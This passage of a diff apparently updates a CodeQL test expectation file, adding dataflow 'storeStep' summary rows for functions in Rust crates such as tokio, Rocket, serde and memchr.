| [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | @@ -915,9 +919,38 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:core::_::::filter_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:core::_::::filter_map | | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:core::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:core::_::::map | | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:std::_::::wait_while | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:std::_::::wait_while | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::crate::derive::form_field::first_duplicate | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::crate::derive::form_field::first_duplicate | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::downgrade_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::downgrade_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::downgrade_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::downgrade_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1].Reference in lang:core::_::crate::slice::sort::stable::sort | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1] in lang:core::_::crate::slice::sort::stable::sort | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::prefix_is_substring | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1] in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::prefix_is_substring | +| file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::suffix_is_substring | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[1] in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::suffix_is_substring | | file://:0:0:0:0 | [summary] to write: Argument[1].Reference in lang:core::_::<_ as crate::clone::uninit::CopySpec>::clone_one | &ref | file://:0:0:0:0 | [post] [summary param] 1 in lang:core::_::<_ as crate::clone::uninit::CopySpec>::clone_one | | file://:0:0:0:0 | [summary] to write: Argument[1].Reference in lang:std::_::crate::io::BufRead::read_until | &ref | file://:0:0:0:0 | [post] [summary param] 1 in lang:std::_::crate::io::BufRead::read_until | +| file://:0:0:0:0 | [summary] to write: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | &ref | file://:0:0:0:0 | [post] [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | +| file://:0:0:0:0 | [summary] to write: Argument[1].Reference.Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | Err | file://:0:0:0:0 | [summary] to write: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::max_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::max_by | | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::max_by_key | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::max_by_key | | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::min_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::min_by | @@ -930,11 +963,15 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1].Reference in lang:core::_::crate::cmp::minmax_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1] in lang:core::_::crate::cmp::minmax_by | | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1].Reference in lang:core::_::crate::slice::sort::shared::smallsort::sort4_stable | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[1] in lang:core::_::crate::slice::sort::shared::smallsort::sort4_stable | | file://:0:0:0:0 | [summary] to write: Argument[3].Parameter[1].Reference in lang:core::_::crate::slice::sort::stable::drift::sort | &ref | file://:0:0:0:0 | [summary] to write: Argument[3].Parameter[1] in lang:core::_::crate::slice::sort::stable::drift::sort | +| file://:0:0:0:0 | [summary] to write: Argument[3].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | &ref | file://:0:0:0:0 | [post] [summary param] 3 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | | file://:0:0:0:0 | [summary] to write: Argument[4].Parameter[1].Reference in lang:core::_::crate::slice::sort::stable::quicksort::quicksort | &ref | file://:0:0:0:0 | [summary] to write: Argument[4].Parameter[1] in lang:core::_::crate::slice::sort::stable::quicksort::quicksort | | file://:0:0:0:0 | [summary] to write: Argument[self].Element in lang:core::_::::for_each | element | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::for_each | | file://:0:0:0:0 | [summary] to write: Argument[self].Element in lang:core::_::::map | element | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map | | file://:0:0:0:0 | [summary] to write: Argument[self].Element in lang:core::_::crate::iter::traits::iterator::Iterator::for_each | element | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::crate::iter::traits::iterator::Iterator::for_each | | file://:0:0:0:0 | [summary] to write: Argument[self].Element in lang:core::_::crate::iter::traits::iterator::Iterator::map | element | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::crate::iter::traits::iterator::Iterator::map | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-http::_::::write_u64 | tuple.0 | file://:0:0:0:0 | [post] [summary param] self in repo:https://github.com/actix/actix-web:actix-http::_::::write_u64 | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[0] in repo:https://github.com/serde-rs/serde:serde::_::::visit_string | tuple.0 | file://:0:0:0:0 | [post] [summary param] self in repo:https://github.com/serde-rs/serde:serde::_::::visit_string | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[0].Reference in repo:https://github.com/serde-rs/serde:serde::_::::visit_string | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[0] in repo:https://github.com/serde-rs/serde:serde::_::::visit_string | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::and_then | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::and_then | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::is_none_or | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::is_none_or | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::is_some_and | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::is_some_and | @@ -963,6 +1000,9 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::Read>::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::<&[u8] as crate::io::Read>::read_to_end | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::Read>::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::<&[u8] as crate::io::Read>::read_to_string | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::copy::BufferedReaderSpec>::copy_to | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::<&[u8] as crate::io::copy::BufferedReaderSpec>::copy_to | +| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in repo:https://github.com/matklad/once_cell:once_cell::_::::clone_from | &ref | file://:0:0:0:0 | [post] [summary param] self in repo:https://github.com/matklad/once_cell:once_cell::_::::clone_from | +| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in repo:https://github.com/matklad/once_cell:once_cell::_::::clone_from | &ref | file://:0:0:0:0 | [post] [summary param] self in repo:https://github.com/matklad/once_cell:once_cell::_::::clone_from | +| file://:0:0:0:0 | [summary] to write: Argument[self].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::consume | &ref | file://:0:0:0:0 | [post] [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::consume | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::get_or_insert | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::get_or_insert | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::insert | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::insert | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::replace | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::replace | @@ -972,6 +1012,7 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Reference in lang:std::_::<&[u8] as crate::io::Read>::read_to_end | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::Read>::read_to_end | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Reference in lang:std::_::<&[u8] as crate::io::Read>::read_to_string | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::Read>::read_to_string | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Reference in lang:std::_::<&[u8] as crate::io::copy::BufferedReaderSpec>::copy_to | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:std::_::<&[u8] as crate::io::copy::BufferedReaderSpec>::copy_to | +| file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::consume | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::consume | | file://:0:0:0:0 | [summary] to write: ReturnValue.Element in lang:core::_::::collect | element | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::collect | | file://:0:0:0:0 | [summary] to write: ReturnValue.Element in lang:core::_::crate::cmp::minmax | element | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::cmp::minmax | | file://:0:0:0:0 | [summary] to write: ReturnValue.Element in lang:core::_::crate::cmp::minmax_by | element | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::cmp::minmax_by | @@ -995,12 +1036,17 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div_euclid | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div_euclid | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div_euclid | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div_euclid | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in repo:https://github.com/serde-rs/serde:serde::_::crate::de::value::private::unit_only | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/serde-rs/serde:serde::_::crate::de::value::private::unit_only | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0].Field[crate::option::Option::Some(0)] in lang:core::_::::unzip | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::unzip | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::find_lower_bound_edge | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::find_lower_bound_edge | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:alloc::_::::find_upper_bound_edge | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::find_upper_bound_edge | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::unzip | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::unzip | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::crate::slice::sort::shared::find_existing_run | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::slice::sort::shared::find_existing_run | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::try_reuse | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::try_reuse | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Field[crate::option::Option::Some(0)] in lang:core::_::::unzip | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in lang:core::_::::unzip | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1].Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::split_at_byte | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::then | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::then | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::then_some | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::then_some | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth_back | @@ -1049,6 +1095,17 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::iter::traits::iterator::Iterator::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::traits::iterator::Iterator::next | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::iter::traits::iterator::Iterator::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::traits::iterator::Iterator::nth | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:proc_macro::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/clap-rs/clap:clap_builder::_::::insert | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/clap-rs/clap:clap_builder::_::::insert | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::ty | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::ty | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::zip | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::zip | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::matching | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::matching | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::zip | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::zip | @@ -1058,6 +1115,8 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::from | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::from | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::try_from | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::try_from | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::downcast | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::downcast | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:alloc::_::::left_kv | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::left_kv | @@ -1101,8 +1160,71 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::::into_string | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::into_string | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::crate::sys_common::ignore_notfound | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::crate::sys_common::ignore_notfound | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in lang:std::_::crate::thread::current::set_current | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::crate::thread::current::set_current | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo::pastebin::_::::from_param | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo::pastebin::_::::from_param | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_bytes | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_bytes | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_bytes | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_bytes | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Err(0)] in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_bytes | Err | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-http::_::::try_into_bytes | +| file://:0:0:0:0 | [summary] to write: 